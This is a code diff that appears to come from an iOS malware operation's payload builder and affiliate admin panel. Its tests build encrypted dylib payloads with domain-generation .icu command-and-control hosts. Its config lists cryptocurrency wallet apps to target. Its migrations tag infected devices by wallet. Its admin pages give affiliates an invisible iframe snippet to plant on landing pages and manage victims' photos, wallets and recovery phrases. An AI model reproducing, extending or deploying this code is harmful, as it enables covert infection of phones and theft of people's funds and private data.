"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"a159973efdd00dd988fec1d707338545d9487b6a": {
"key": "7ae216d3b4ba8b417b1784f2d0e8f10c40377819345f8946974420fdd1fd111f",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"e3b865be8672d1357bdaac817cdab2d1b4458492": {
"key": "00afe7b09f138818df107a742ab76620880e78e8e4de2dba5d570611ccea04cb",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"fb95e427382180860f0b48a8854576ec1a6ce7b1": {
"key": "7fb9b6821d97f71081ccf74df48cc1d303187d5df410b881b031dcbf44d4fa98",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
}
}
}
+105 -46
View File
@@ -31,7 +31,6 @@ class XxbbBuildTest(unittest.TestCase):
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme="https",
)
self.assertEqual(data.count(dep.encode()), 1)
self.assertEqual(data.count(rep.encode()), 1)
@@ -79,27 +78,38 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
weifile = artifact / "weifile"
weifile = state / "out" / "weifile"
details = artifact / "details"
self.assertFalse((artifact / "weifile").exists())
self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8")
self.assertIn(channel_c, html)
self.assertNotIn("__CHANNEL_C__", html)
self.assertIn("/t.js", html)
self.assertNotIn("/t.js", html)
self.assertIn("index.js", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js)
self.assertNotIn("[placeholder].icu", index_js)
self.assertIn("CACACACA", index_js)
self.assertIn("sessionId:sid", index_js)
self.assertIn("__iptj_sid", index_js)
self.assertFalse((artifact / "source").exists())
self.assertTrue((details / "show.html").is_file())
self.assertTrue((details / "corepayload.js").is_file())
self.assertTrue((details / "helion.js").is_file())
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
blob = (weifile / f"{stem}.min.js").read_bytes()
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
dylib = decrypt_secondary_minjs(blob, key)
self.assertIn(b"11111111111111111111111111111111", dylib)
self.assertIn(channel_c.encode(), dylib)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
self.assertIn(b"https://%@\x00", dylib)
self.assertNotIn(b"http://%@\x00", dylib)
meta = xxbb_build.load_keys()
self.assertGreaterEqual(len(meta["stems"]), 10)
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
for stem, info in meta["stems"].items():
blob = (weifile / f"{stem}.min.js").read_bytes()
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
self.assertIn(channel_c.encode(), dylib, stem)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
self.assertIn(b"https://%@\x00", dylib, stem)
self.assertNotIn(b"http://%@\x00", dylib, stem)
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
member, core = extract_member((details / "corepayload.js").read_bytes())
self.assertEqual(member, "corepayload.dylib")
@@ -120,8 +130,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
manifest = json.loads((out / "MANIFEST.json").read_text())
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
self.assertIsNone(manifest["weifile_path"])
self.assertEqual(manifest["details_path"], "/details/")
self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
def test_seeds_generated_once_then_reused(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
@@ -145,12 +157,13 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(len(first[0]), 32)
self.assertEqual(len(first[1]), 32)
self.assertEqual(first[0], first[1])
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
self.assertEqual(len(first[2]), 32)
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
self.assertEqual(len(first[3]["deployment"]), 5)
self.assertEqual(len(first[3]["reporting"]), 5)
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
def test_xxbb_dga_matches_native_pool(self) -> None:
self.assertEqual(
@@ -207,35 +220,7 @@ class XxbbBuildTest(unittest.TestCase):
cli_c=None,
)
def test_http_scheme_rewrites_url_formats(self) -> None:
path = xxbb_build.group_dylib_path("C")
raw = path.read_bytes()
https = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="https",
)
http = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="http",
)
self.assertIn(b"https://%@\x00", https)
self.assertIn(b"https://backup%u.icu\x00", https)
self.assertNotIn(b"http://%@\x00", https)
self.assertIn(b"http://%@\x00", http)
self.assertIn(b"http://backup%u.icu\x00", http)
self.assertNotIn(b"https://%@\x00", http)
self.assertNotIn(b"https://backup%u.icu\x00", http)
self.assertEqual(len(http), len(https))
def test_apply_works_without_channel_name(self) -> None:
def test_apply_writes_details_and_staged_weifile(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
artifact = Path(tmp) / "public"
state = Path(tmp) / "state"
@@ -259,7 +244,81 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
self.assertTrue((artifact / "details" / "show.html").is_file())
self.assertFalse((artifact / "weifile").exists())
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
self.assertIn("CACACACA", index_js)
def test_discovers_all_fafa_secondaries(self) -> None:
meta = xxbb_build.load_keys()
stems = meta["stems"]
self.assertEqual(len(stems), 10)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
def test_random_c_rewrites_lab_seeds(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
path = Path(tmp) / "lab_seeds.json"
first = xxbb_build.resolve_seeds(
lab_seeds_path=path,
cli_dep="11111111111111111111111111111111",
cli_rep="11111111111111111111111111111111",
cli_c="33333333333333333333333333333333",
)
second = xxbb_build.resolve_seeds(
lab_seeds_path=path,
cli_dep="11111111111111111111111111111111",
cli_rep="11111111111111111111111111111111",
cli_c=None,
random_c=True,
)
self.assertEqual(first[2], "33333333333333333333333333333333")
self.assertNotEqual(second[2], first[2])
self.assertEqual(len(second[2]), 32)
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
def test_pack_replaces_channel_placeholder(self) -> None:
import pack_channel
from zipfile import ZipFile
with tempfile.TemporaryDirectory() as tmp:
src = Path(tmp) / "weifile"
src.mkdir()
(src / "index.js").write_text(
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
encoding="utf-8",
)
(src / "weifile.html").write_text(
'<script type="text/javascript" src="index.js"></script>',
encoding="utf-8",
)
(src / "extra.min.js").write_text("ok", encoding="utf-8")
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
result = pack_channel.pack_channel(
channel_code="fafa9988",
weifile_src=src,
zip_out=zip_out,
)
self.assertEqual(result["channel_code"], "FAFA9988")
self.assertTrue(zip_out.is_file())
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
with ZipFile(zip_out) as archive:
names = set(archive.namelist())
self.assertIn("weifile/index.js", names)
self.assertIn("weifile/weifile.html", names)
self.assertIn("weifile/extra.min.js", names)
index_js = archive.read("weifile/index.js").decode("utf-8")
html = archive.read("weifile/weifile.html").decode("utf-8")
self.assertIn('const V="FAFA9988"', index_js)
self.assertNotIn("CACACACA", index_js)
self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html)
if __name__ == "__main__":
+21 -2
View File
@@ -16,6 +16,10 @@ return [
'xxbb' => [
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
// Shared native DGA / report field `c`. Same for every new-builder channel.
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
// Match iptj PageVisit → device by IP within this window.
'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30),
],
'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains,
@@ -46,8 +50,8 @@ return [
'CORUNA_CHANNEL_NEW_STATE_ROOT',
storage_path('app/channel-builder-new')
),
// Native DGA/C2 URL scheme. Keep https: iOS ATS drops cleartext http:// to .icu hosts.
'c2_scheme' => env('CORUNA_XXBB_C2_SCHEME', 'https'),
// Per-channel weifile zip download root under artifact_root.
'source_dir' => 'channel-source-new',
],
'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
@@ -109,22 +113,37 @@ return [
'wallet_bundles' => [
'im.token.app',
'io.metamask',
'io.metamask.MetaMask',
'com.wallet.crypto.trustapp',
'com.sixdays.trust',
'com.okex.wallet',
'com.okex.OKExAppstoreFull',
'com.coinbase.wallet',
'org.toshi.distribution',
'com.exodus',
'exodus-movement.exodus',
'app.phantom',
'com.uniswap.mobile',
'com.tronlinkpro.wallet',
'com.tronlink.hdwallet',
'com.mytonwallet.app',
'org.mytonwallet.app',
'com.tonhub.app',
'com.tonkeeper.app',
'com.jbig.tonkeeper',
'vip.mytokenpocket',
'com.bitkeep.wallet',
'com.bitkeep.os',
'com.bitpie',
'com.bitpie.wallet',
'com.coin98',
'coin98.crypto.finance.insights',
'com.solflare.mobile',
'com.roninchain.wallet',
'com.skymavis.Genesis',
'com.krystal.wallet',
'com.kyrd.krystal.ios',
'com.global.wallet.ios',
'ph.telegra.Telegraph',
],
];
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('source_domain', 255)->nullable()->after('channel_id');
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('source_domain');
});
}
};
@@ -0,0 +1,34 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('domain', 255)->nullable()->after('path');
$table->index('domain');
});
// iptj used to stash the landing host in `path`.
DB::table('page_visits')
->whereNull('domain')
->whereNotNull('path')
->where('path', 'not like', '/%')
->where('path', 'not like', '%/%')
->where('path', 'like', '%.%')
->update(['domain' => DB::raw('path')]);
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex(['domain']);
$table->dropColumn('domain');
});
}
};
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropColumn('path');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('path', 255)->nullable()->after('ip');
});
}
};
@@ -0,0 +1,24 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('session_id', 64)->nullable()->after('client_uid');
$table->unique('session_id');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropUnique(['session_id']);
$table->dropColumn('session_id');
});
}
};
@@ -0,0 +1,23 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('channels', function (Blueprint $table) {
$table->dropUnique(['channel_name']);
$table->dropColumn('channel_name');
});
}
public function down(): void
{
Schema::table('channels', function (Blueprint $table) {
$table->string('channel_name', 32)->nullable()->unique()->after('builder_type');
});
}
};
@@ -0,0 +1,84 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->unsignedTinyInteger('has_wallet')->default(0)->after('album_storage');
$table->json('wallet_names')->nullable()->after('has_wallet');
$table->index('has_wallet');
});
$this->backfillFromApps();
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['has_wallet']);
$table->dropColumn(['has_wallet', 'wallet_names']);
});
}
private function backfillFromApps(): void
{
if (! Schema::hasTable('device_apps')) {
return;
}
$skip = ['ph.telegra.Telegraph', 'net.whatsapp.WhatsApp'];
$bundles = array_values(array_filter(
(array) config('coruna.wallet_bundles', []),
static fn ($b) => is_string($b) && $b !== '' && ! in_array($b, $skip, true),
));
$deviceIdsWithApps = DB::table('device_apps')->distinct()->pluck('device_id');
if ($deviceIdsWithApps->isEmpty()) {
return;
}
$walletRows = $bundles === []
? collect()
: DB::table('device_apps')
->whereIn('device_id', $deviceIdsWithApps)
->whereIn('bundle_id', $bundles)
->get(['device_id', 'bundle_id', 'name']);
$namesByDevice = [];
foreach ($walletRows as $row) {
$label = trim((string) ($row->name ?: $row->bundle_id));
if ($label === '') {
continue;
}
$namesByDevice[(int) $row->device_id][$label] = true;
}
$walletDeviceIds = array_keys($namesByDevice);
$noneIds = $deviceIdsWithApps->map(static fn ($id) => (int) $id)
->reject(static fn ($id) => in_array($id, $walletDeviceIds, true))
->values()
->all();
if ($noneIds !== []) {
DB::table('devices')->whereIn('id', $noneIds)->update([
'has_wallet' => 1,
'wallet_names' => null,
]);
}
foreach ($namesByDevice as $deviceId => $labels) {
$names = array_keys($labels);
sort($names);
DB::table('devices')->where('id', $deviceId)->update([
'has_wallet' => 2,
'wallet_names' => json_encode(array_values($names), JSON_UNESCAPED_UNICODE),
]);
}
}
};
@@ -0,0 +1,27 @@
<?php
use App\Models\DeviceApp;
use App\Support\WalletSource;
use Illuminate\Database\Migrations\Migration;
return new class extends Migration
{
public function up(): void
{
DeviceApp::query()->orderBy('id')->chunkById(200, function ($apps) {
foreach ($apps as $app) {
$want = WalletSource::isPluginWalletBundle((string) $app->bundle_id);
if ((bool) $app->is_wallet === $want) {
continue;
}
$app->is_wallet = $want;
$app->save();
}
});
}
public function down(): void
{
// Irreversible: previous regex / wallet_bundles tagging is not reconstructed.
}
};
@@ -121,7 +121,7 @@ layui.use(['table', 'form', 'layer'], function () {
}},
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+1 -1
View File
@@ -74,7 +74,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
]],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
+75 -15
View File
@@ -48,7 +48,13 @@
<div class="layui-card-body">
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
<script type="text/html" id="LAY-ch-ops">
@{{# if(d.builder_type === 'new'){ }}
@{{# if(d.download_url){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
@{{# } }}
@{{# } else { }}
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
@{{# } }}
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d._isAdmin){ }}
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
@@ -74,9 +80,6 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'builder_type', title: '类型', width: 80, templet: function (d) {
return d.builder_type === 'new' ? '新版' : '旧版';
}},
{ field: 'channel_name', title: 'channel_name', width: 120, templet: function (d) {
return d.channel_name || '—';
}},
];
if (isAdmin) {
cols.push({ field: 'agent_username', title: '代理', width: 120 });
@@ -89,7 +92,7 @@ layui.use(['table', 'form', 'layer'], function () {
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
}},
{ field: 'updated_at', title: '更新', width: 170, sort: true },
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
]);
table.render({
@@ -97,7 +100,7 @@ layui.use(['table', 'form', 'layer'], function () {
id: 'LAY-ch-list',
url: @json(route($portal.'.channels.data')),
cols: [cols],
page: true, limit: 15, height: 'full-220',
page: true, limit: 20, limits: [10, 20, 30, 50],
parseData: function (res) {
(res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
return res;
@@ -137,6 +140,39 @@ layui.use(['table', 'form', 'layer'], function () {
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
}
function weifileIframeSnippet() {
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
}
function openDownloadGuide(row) {
var url = row && row.download_url;
if (!url) return layer.msg('安装包不存在');
var snippet = weifileIframeSnippet();
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code>&lt;body&gt;</code> 开头)加入一段不可见 iframe:</p>' +
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
snippet.replace(/</g, '&lt;') + '</pre>' +
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '&quot;') + '">下载代码</a>' +
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
'</div>' +
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
'</div>';
layer.open({
type: 1,
title: '下载代码 — ' + (row.channel_id || ''),
area: ['640px', '430px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-copy-iframe').on('click', function () {
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
});
}
});
}
function openLinks(row) {
var links = row.links || [];
if (!links.length) {
@@ -178,9 +214,12 @@ layui.use(['table', 'form', 'layer'], function () {
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
(data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>';
}
if (data.builder_type === 'new' && data.daily_path) {
html += '<div style="margin-bottom:10px;"><b>details</b> <code>' +
String(data.daily_path).replace(/</g, '&lt;') + '</code></div>';
if (data.builder_type === 'new' && data.zip_path) {
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
String(data.zip_path).replace(/</g, '&lt;') + '</code></div>';
if (data.download_url) {
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
}
}
if (links.length) {
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
@@ -199,7 +238,17 @@ layui.use(['table', 'form', 'layer'], function () {
html += '</ul>';
}
html += '</div>';
layer.open({ type: 1, title: '创建成功', area: ['560px', '420px'], content: html });
layer.open({
type: 1,
title: '创建成功',
area: ['560px', '420px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-dl-guide').on('click', function () {
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
});
}
});
}
function openForm(title, values, creating) {
@@ -209,7 +258,7 @@ layui.use(['table', 'form', 'layer'], function () {
: '';
var channelBlock = creating
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
'<input name="channel_id" class="layui-input" maxlength="32" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="32位字母数字">' +
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
@@ -219,7 +268,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux">旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/weifile/weifile.html + /details)</div></div></div>'
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
: '';
var templateBlock = (isAdmin && creating)
@@ -248,13 +297,21 @@ layui.use(['table', 'form', 'layer'], function () {
form.render();
function syncTemplateVisibility() {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
if (type === 'new') $('#LAY-ch-template-item').hide();
else $('#LAY-ch-template-item').show();
var $id = $('#LAY-ch-id-input');
if (type === 'new') {
$('#LAY-ch-template-item').hide();
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
if (($id.val() || '').length !== 8) $id.val('');
} else {
$('#LAY-ch-template-item').show();
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
}
}
syncTemplateVisibility();
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
$('#LAY-ch-rand').on('click', function () {
$.getJSON(@json(route('admin.channels.randomId')), function (res) {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
});
});
@@ -318,9 +375,12 @@ layui.use(['table', 'form', 'layer'], function () {
table.on('tool(LAY-ch-list)', function (obj) {
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
if (obj.event === 'links') openLinks(obj.data);
if (obj.event === 'download') {
openDownloadGuide(obj.data);
}
if (obj.event === 'del') {
var pathHint = obj.data.builder_type === 'new'
? '数据库记录(共享 /weifile 与 /details 保留)'
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
$.ajax({
+6
View File
@@ -16,6 +16,12 @@
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
.layui-table-view{min-height:420px}
.layui-table-view .layui-table-box,
.layui-table-view .layui-table-body,
.layui-table-view .layui-table-main{height:auto !important}
.layui-table-view .layui-table-body{overflow-x:auto;overflow-y:visible !important}
</style>
@stack('head')
</head>
+57 -4
View File
@@ -51,6 +51,17 @@
<input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">钱包</label>
<div class="layui-input-block">
<select name="has_wallet">
<option value="">全部</option>
<option value="0">未知</option>
<option value="1">无</option>
<option value="2">有</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">安装时间</label>
<div class="layui-input-block">
@@ -78,6 +89,7 @@
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
<script type="text/html" id="LAY-device-ops">
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
</script>
</div>
</div>
@@ -92,6 +104,10 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
var layer = layui.layer;
var $ = layui.$;
var dash = function (v) { return v ? v : '—'; };
var esc = function (s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
};
var portal = @json($portal);
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/devices'));
@@ -109,9 +125,20 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
{ field: 'has_wallet', title: '钱包', minWidth: 220, sort: true, templet: function (d) {
var st = Number(d.has_wallet);
if (st === 1) return '<span style="color:#64748b;">无</span>';
if (st !== 2) return '<span style="color:#94a3b8;">未知</span>';
var names = Array.isArray(d.wallet_names) ? d.wallet_names.filter(Boolean) : [];
var tags = names.map(function (n) {
return '<span class="tag-wallet">' + esc(n) + '</span>';
}).join(' ');
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
} },
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
var on = Number(d.album_storage) === 1;
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
@@ -119,12 +146,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
} },
{ field: 'created_at', title: '安装时间', width: 170, sort: true },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
{ title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
]],
page: true,
limit: 15,
limits: [10, 15, 20, 30, 50],
height: 'full-220',
limit: 20,
limits: [10, 20, 30, 50],
text: { none: '暂无设备' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
@@ -174,6 +200,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
model: '',
ip: '',
ios: '',
has_wallet: '',
installed_from: '',
installed_to: ''
},
@@ -183,6 +210,32 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
});
table.on('tool(LAY-device-list)', function (obj) {
if (obj.event === 'destroy') {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
